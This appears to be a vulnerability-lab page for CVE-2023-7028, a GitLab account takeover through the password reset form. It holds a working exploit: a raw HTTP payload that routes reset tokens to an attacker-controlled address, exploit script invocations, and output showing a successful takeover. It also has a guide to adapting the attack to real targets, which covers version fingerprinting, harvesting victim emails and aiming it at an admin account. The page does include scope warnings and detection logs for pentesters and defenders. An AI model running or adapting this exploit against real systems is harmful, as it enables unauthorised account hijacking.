All labs
CVE-2023-7028critical

GitLab Account Takeover via Password Reset

GitLab CE / EE

Account Takeover / Improper Access Control (CWE-640)

Download sandbox (13 KB)Includes Dockerfile, docker-compose, exploit, verify.sh, and this README.

CVE-2023-7028 — GitLab Account Takeover via Password Reset

Overview

FieldValue
CVECVE-2023-7028
SoftwareGitLab CE / EE
Version Tested16.1.4-ce.0
Vulnerable Range16.1 < 16.1.6, 16.2 < 16.2.9, 16.3 < 16.3.7, 16.4 < 16.4.5, 16.5 < 16.5.6, 16.6 < 16.6.4, 16.7 < 16.7.2
TypeAccount Takeover / Improper Access Control (CWE-640)
CVSS10.0 (Critical)
AuthenticationNot required
CISA KEVYes — actively exploited in the wild

The /users/password endpoint accepts user[email][] as an array, allowing an unauthenticated attacker to supply a second, attacker-controlled email address alongside the victim's. GitLab dispatches the password-reset link to both addresses. The attacker reads the token from their own inbox, resets the victim's password, and takes over the account — no interaction from the victim required.


Quick Start

bash verify.sh

This script starts the vulnerable environment, waits for GitLab to initialise, creates a victim account, runs the exploit, and prints the result. Zero manual steps required.

Approximate runtime: 6–10 minutes (most of which is GitLab's first-boot initialisation).


Environment

ComponentDetails
GitLab imagegitlab/gitlab-ce:16.1.4-ce.0
GitLab port8080 → http://localhost:8080
MailHog port8025 → http://localhost:8025
Root credentialsroot / P@ssword123!
Victim credentials (pre-exploit)victim / InitialPass123!
Victim credentials (post-exploit)victim / Hacked123!
# Start
docker compose up -d

# Watch initialisation (takes 4-6 min on first boot)
docker compose logs -f gitlab

# Stop and remove volumes
docker compose down -v

MailHog web UI (http://localhost:8025) shows every email GitLab sends, including the intercepted password-reset link.


Exploit

How It Works

Vulnerability Mechanism

GitLab's PasswordsController#create passes the raw user[email] parameter to ActiveRecord's find_by_email via Devise. When the parameter is an array (user[email][]), Rails automatically deserialises it into ["victim@...", "attacker@..."]. Devise's password-reset logic iterates the result and sends a reset token to every address in the list.

The root cause is the absence of input validation that would reject non-scalar values for the email parameter. GitLab's fix (16.7.2, 16.6.4, etc.) converts user[:email] to a scalar string before processing.

Exploit Step-by-Step

  1. Fetch CSRF token — GET /users/password/new, extract <meta name="csrf-token">.
  2. Trigger dual-email reset — POST /users/password with:
    authenticity_token=<csrf>&user[email][]=victim@target.com&user[email][]=attacker@evil.com
    
    GitLab processes both addresses and emails the reset link to both.
  3. Capture token — In lab mode, poll MailHog's REST API (GET /api/v2/messages) and extract the reset_password_token from the email received at the attacker address.
  4. Reset password — GET /users/password/edit?reset_password_token=<token> to get a fresh authenticity_token, then PUT /users/password with the new password.
  5. Verify — POST to /users/sign_in with the new credentials; confirm dashboard access.

Raw Exploit Payload

POST /users/password HTTP/1.1
Host: gitlab.target.com
Content-Type: application/x-www-form-urlencoded

authenticity_token=<TOKEN>&user%5Bemail%5D%5B%5D=victim%40target.com&user%5Bemail%5D%5B%5D=attacker%40evil.com

Successful Output (live run against GitLab CE 16.1.4-ce.0)

==============================================================
  CVE-2023-7028 — GitLab Account Takeover PoC
==============================================================
  Target   : http://localhost:8080
  Victim   : victim <victim@victim.local>
  Attacker : attacker@attacker.local
  New pass : Hacked123!
  MailHog  : http://localhost:8025
==============================================================

[*] Step 1 — Triggering CVE-2023-7028 dual-email password reset
    Victim   : victim@victim.local
    Attacker : attacker@attacker.local
[+] Reset emails dispatched to BOTH victim@victim.local and attacker@attacker.local!

[*] Step 2 — Polling MailHog for email sent to attacker@attacker.local
    Attempt 1/30 … not yet.
    Attempt 2/30 … found!
[+] Reset token captured: AJJ9EZu_LjJ2f6xD8EdW…

[*] Step 3 — Setting new password via captured token
[+] Password changed to: Hacked123!

[*] Step 4 — Verifying account takeover (login as 'victim')
[+] Authenticated as 'victim' — dashboard accessible!

==============================================================
[+] EXPLOIT SUCCESSFUL — ACCOUNT TAKEOVER CONFIRMED
    URL      : http://localhost:8080/users/sign_in
    Username : victim
    Password : Hacked123!
==============================================================

Manual Usage

# 1. Start environment
docker compose up -d

# 2. Wait for GitLab (~5 min)
# Watch logs until you see "gitlab Reconfigured!" repeated
docker compose logs -f gitlab

# 3. Create a victim user (lab only — in real engagements the target already exists)
docker exec cve_2023_7028_gitlab gitlab-rails runner "
  u = User.new(name:'Victim', username:'victim', email:'victim@victim.local',
               password:'InitialPass123!', password_confirmation:'InitialPass123!',
               confirmed_at: Time.now)
  u.skip_reconfirmation!
  u.save!
  puts 'Created: ' + u.email
"

# 4. Install dependencies
pip install -r exploit/requirements.txt

# 5. Run exploit
python3 exploit/exploit.py \
    --target         http://localhost:8080 \
    --mailhog        http://localhost:8025 \
    --victim-email   victim@victim.local \
    --victim-user    victim \
    --attacker-email attacker@attacker.local \
    --new-password   Hacked123!

Pentest Adaptation Guide

Target Discovery

Identify potentially vulnerable GitLab instances:

# Nmap service detection
nmap -sV -p 80,443,8080 <target_range>

# GitLab version from login page meta tag or footer
curl -s https://gitlab.target.com/users/sign_in | grep -i 'gitlab\|version'

# GitLab exposes version info at the help page (authenticated) or in HTTP headers
curl -sv https://gitlab.target.com/ 2>&1 | grep -i 'x-gitlab\|gitlab'

# API version endpoint (sometimes accessible unauthenticated)
curl https://gitlab.target.com/api/v4/version

Version ranges confirmed vulnerable:

  • >= 16.1.0, < 16.1.6
  • >= 16.2.0, < 16.2.9
  • >= 16.3.0, < 16.3.7
  • >= 16.4.0, < 16.4.5
  • >= 16.5.0, < 16.5.6
  • >= 16.6.0, < 16.6.4
  • >= 16.7.0, < 16.7.2

Adapting the Exploit

  1. Target URL — replace http://localhost:8080 with https://gitlab.target.com.
  2. Victim email — you need the target account's registered email address. Common sources: GitLab's public API (/api/v4/users?search=<username> on open instances), leaked data, OSINT.
  3. Attacker email — use an email address you control. For an engagement, a temporary mailbox on your own mail server or a service like mailinator works.
  4. No MailHog — pass --no-mailhog and the script will prompt you to paste the reset URL after it arrives in your inbox.
python3 exploit/exploit.py \
    --target         https://gitlab.target.com \
    --victim-email   admin@target.com \
    --victim-user    admin \
    --attacker-email pentester@yourserver.com \
    --new-password   "NewPass$(date +%s)!" \
    --no-mailhog

Safe Verification (Non-Destructive)

To confirm the vulnerability without completing an account takeover:

  1. Check version only — if the version is in the vulnerable range, the instance is almost certainly vulnerable.
  2. Trigger reset without changing password — send the dual-email request; confirm the success flash message ("If your email address exists in our database") appears. Do NOT proceed to the password-change step.
  3. Use a test account — if you own a non-admin account on the target, use your own account's email as the victim address. You can then verify the token arrived at your attacker address without impacting production accounts.
  4. Metasploit check module — if a check action is available in a Metasploit module, use run check rather than run exploit.

Do NOT:

  • Reset passwords for accounts belonging to real users without explicit scope.
  • Proceed past step 1 in a production environment unless your scope explicitly authorises account takeover testing.

Evidence Collection

For a pentest report, capture:

EvidenceHow to collect
Vulnerable versionScreenshot of https://gitlab.target.com/help or API version response
Exploit triggerScreenshot / curl -v output showing the 200 response with success flash
Captured reset emailScreenshot of your attacker inbox showing the GitLab reset link
Password change confirmationScreenshot of "Your password has been changed successfully" page
Authenticated sessionScreenshot of the victim's GitLab dashboard after login

Log entries that confirm exploitation (from the GitLab server):

# /var/log/gitlab/gitlab-rails/production_json.log
# Look for: path="/users/password" with params.email as a JSON array
{"method":"POST","path":"/users/password","params":{"user":{"email":["victim@..","attacker@.."]}}}

# /var/log/gitlab/gitlab-rails/audit_json.log
# Look for: PasswordsController#create with target_details as array
{"meta":{"caller_id":"PasswordsController#create"},"target_details":["victim@..","attacker@.."]}

Reference standard: document per OWASP Testing Guide v4.2 — OTG-AUTHN-009.


References